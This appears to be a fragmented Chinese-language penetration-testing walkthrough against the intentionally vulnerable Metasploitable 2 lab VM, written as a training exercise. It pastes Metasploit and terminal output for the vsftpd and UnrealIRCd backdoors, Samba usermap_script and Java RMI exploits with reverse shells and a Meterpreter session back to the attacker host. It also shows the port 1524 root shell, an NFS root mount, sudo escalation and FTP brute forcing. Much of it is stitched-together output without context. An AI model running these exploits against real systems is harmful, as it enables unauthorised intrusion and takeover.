┌──(root㉿kali)-[~] └─# msfdb status ● postgresql.service - PostgreSQL RDBMS Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; preset: disabled) Active: active (exited) since Sat 2023-10-28 22:10:20 EDT; 30s ago Process: 1460 ExecStart=/bin/true (code=exited, status=0/SUCCESS) Main PID: 1460 (code=exited, status=0/SUCCESS) CPU: 1ms
Oct 28 22:10:20 kali systemd[1]: Starting postgresql.service - PostgreSQL RDBMS... Oct 28 22:10:20 kali systemd[1]: Finished postgresql.service - PostgreSQL RDBMS.
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME postgres 1442 postgres 5u IPv6 22152 0t0 TCP localhost:5432 (LISTEN) postgres 1442 postgres 6u IPv4 22153 0t0 TCP localhost:5432 (LISTEN)
UID PID PPID C STIME TTY STAT TIME CMD postgres 1442 1 0 22:10 ? Ss 0:00 /usr/lib/postgresql/15/bin/postgres -D /var/lib/postgresql/15/main -c config_file=/etc/postgresql/15/ma
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service 1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
我们找到了一个。因此,让我们加载它,看看是否可以使用它。
Exploiting vsftpd
为此,我们将运行以下命令:
1 2 3
use exploit/unix/ftp/vsftpd_234_backdoor or use 1
输出将如下所示:
1 2 3
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor [*] No payload configured, defaulting to cmd/unix/interact msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
Provided by: hdm <x@hdm.io> MC <mc@metasploit.com>
Available targets: Id Name -- ---- => 0 Automatic
Check supported: No
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 21 yes The target port (TCP)
Description: This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.
metasploitable login: msfadmin Password: Last login: Sat Oct 28 21:57:19 EDT 2023 from 10.10.8.136 on pts/2 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details.
msfadmin@metasploitable:~$ id uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
但我们不是 root,我想知道我们是否可以使用“sudo”来提权到 root,执行以下命令:
1 2 3 4 5 6
msfadmin@metasploitable:~$ sudo -l User msfadmin may run the following commands on this host: (ALL) ALL msfadmin@metasploitable:~$ sudo su root root@metasploitable:/home/msfadmin# id uid=0(root) gid=0(root) groups=0(root)
第二个条目“rexecd Service Detection”,我想知道那是什么,单击该条目,该信息屏幕上写着“ The rexecd service is running on the remote host. This service is design to allow users of a network to execute commands remotely. However, rexecd does not provide any good means of authentication, so it may be abused by an attacker to scan a third-party host. ”
┌──(root㉿kali)-[~] └─# rlogin -l msfadmin 10.10.8.130 Last login: Sat Oct 28 22:39:12 EDT 2023 from 10.10.8.134 on pts/1 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. msfadmin@metasploitable:~$ id uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) msfadmin@metasploitable:~$ sudo su root [sudo] password for msfadmin: root@metasploitable:/home/msfadmin# id uid=0(root) gid=0(root) groups=0(root) root@metasploitable:/home/msfadmin#
┌──(root㉿kali)-[~] └─# telnet 10.10.8.130 1524 Trying 10.10.8.130... Connected to 10.10.8.130. Escape character is '^]'. root@metasploitable:/# id uid=0(root) gid=0(root) groups=0(root) root@metasploitable:/#
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 139 yes The target port (TCP)
Payload information: Space: 1024
Description: This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands.
No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!
Name Current Setting Required Description ---- --------------- -------- ----------- CHOST no The local client address CPORT no The local client port Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.8.130 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.8.134 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic
View the full module info with the info, or info -d command.
现在运行“run”命令:
1 2 3 4 5 6 7
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.8.134:4444 [*] Command shell session 2 opened (10.10.8.134:4444 -> 10.10.8.130:36019) at 2023-10-28 23:46:35 -0400
Available targets: Id Name -- ---- => 0 Automatic Target
Check supported: No
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 6667 yes The target port (TCP)
Payload information: Space: 1024
Description: This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
View the full module info with the info -d command.
再次,我建议您阅读“References”部分中的每个条目,以便了解您正在做什么。
我们将像之前一样设置 RHOST:
1 2
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.10.8.130 RHOSTS => 10.10.8.130
接着执行 run,但是我这里失败了,应该是没这个漏洞,放张作者的图:
A Look at the VNC Server
再次查看下 Nessus,发现了 VNC Server ‘password’ Password,让我们点击它,看看我们能学到什么。
它说:The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of ‘password’. A remote, unauthenticated attacker could exploit this to take control of the system
host port proto name state info ---- ---- ----- ---- ----- ---- 10.10.8.130 21 tcp ftp open vsftpd 2.3.4 ..... 10.10.8.130 1099 tcp java-rmi open GNU Classpath grmiregistry ......
粗略地查看 Nessus 扫描仅表明它已找到该服务,但没有向我们提供任何有关如何利用它的指示:
让我们在 Metasploit 中搜索一下,看看是否能找到任何东西,输入命令:
1 2 3 4 5 6 7 8 9 10 11 12
msf6 > search rmi
Matching Modules ================
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/linux/local/asan_suid_executable_priv_esc 2016-02-17 excellent Yes AddressSanitizer (ASan) SUID Executable Privilege Escalation 1 auxiliary/gather/advantech_webaccess_creds 2017-01-21 normal No Advantech WebAccess 8.1 Post Authentication Credential Collector 2 exploit/windows/http/advantech_iview_networkservlet_cmd_inject 2022-06-28 excellent Yes Advantech iView NetworkServlet Command Injection 3 exploit/linux/misc/aerospike_database_udf_cmd_exec 2020-07-31 great Yes Aerospike Database UDF Lua Code Execution ......
结果太多了,我们还能寻找什么?我们尝试“搜索 java-rmi”怎么样?出现一个结果:
1 2 3 4 5 6 7 8 9 10 11
msf6 > search java-rmi
Matching Modules ================
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Deserialization Privilege Escalation
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/browser/java_rmi_connection_impl
Provided by: Sami Koivu Matthias Kaiser egypt <egypt@metasploit.com>
Available targets: Id Name -- ---- => 0 Generic (Java Payload)
Check supported: No
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random)
Description: This module exploits a vulnerability in the Java Runtime Environment that allows to deserialize a MarshalledObject containing a custom classloader under a privileged context. The vulnerability affects version 6 prior to update 19 and version 5 prior to update 23.
Name: Java RMI Server Insecure Default Configuration Java Code Execution Module: exploit/multi/misc/java_rmi_server Platform: Java, Linux, OSX, Solaris, Windows Arch: Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2011-10-15
Provided by: mihi
Available targets: Id Name -- ---- => 0 Generic (Java Payload) 1 Windows x86 (Native Payload) 2 Linux x86 (Native Payload) 3 Mac OS X PPC (Native Payload) 4 Mac OS X x86 (Native Payload)
Check supported: Yes
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 1099 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random)
Payload information: Avoid: 0 characters
Description: This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well.
Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process.
RMI method calls do not support or require any sort of authentication.
msf6 > use exploit/multi/misc/java_rmi_server [*] No payload configured, defaulting to java/meterpreter/reverse_tcp msf6 exploit(multi/misc/java_rmi_server) > options
Name Current Setting Required Description ---- --------------- -------- ----------- HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 1099 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.8.134 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Generic (Java Payload)
View the full module info with the info, or info -d command.
看起来端口已经设置好了,让我们设置 RHOST,然后“run”它:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 10.10.8.130 RHOSTS => 10.10.8.130 msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 10.10.8.134:4444 [*] 10.10.8.130:1099 - Using URL: http://10.10.8.134:8080/N8JB9cQlr [*] 10.10.8.130:1099 - Server started. [*] 10.10.8.130:1099 - Sending RMI Header... [*] 10.10.8.130:1099 - Sending RMI Call... [*] 10.10.8.130:1099 - Replied to request for payload JAR [*] Sending stage (58829 bytes) to 10.10.8.130 [*] Meterpreter session 1 opened (10.10.8.134:4444 -> 10.10.8.130:55382) at 2023-10-29 04:24:44 -0400
Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter java/linux root @ metasploitable 10.10.8.134:4444 -> 10.10.8.130:55382 (10.10.8.130)
在 Kali Linux 中打开另一个终端,要查看远程 NFS 服务器可挂载的内容,我们使用“showmount”命令:
1 2 3 4
┌──(root㉿kali)-[~] └─# showmount -e 10.10.8.130 Export list for 10.10.8.130: / *
它表明远程服务器正在导出文件系统的根。
Exploiting NFS
首先,让我们使用以下命令创建一个挂载点:
1 2
┌──(root㉿kali)-[~] └─# mkdir -p /mnt/nfs
然后,让我们使用以下命令挂载远程文件系统:
1 2 3
┌──(root㉿kali)-[~] └─# mount 10.10.8.130:/ /mnt/nfs Created symlink /run/systemd/system/remote-fs.target.wants/rpc-statd.service → /lib/systemd/system/rpc-statd.service.
┌──(root㉿kali)-[~] └─# nmap --script=ftp-brute.nse 10.10.8.130 Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 05:12 EDT Nmap scan report for 10.10.8.130 Host is up (0.0013s latency). Not shown: 977 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp | ftp-brute: | Accounts: | user:user - Valid credentials |_ Statistics: Performed 3601 guesses in 602 seconds, average tps: 5.8 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 00:0C:29:FA:DD:2A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 604.14 seconds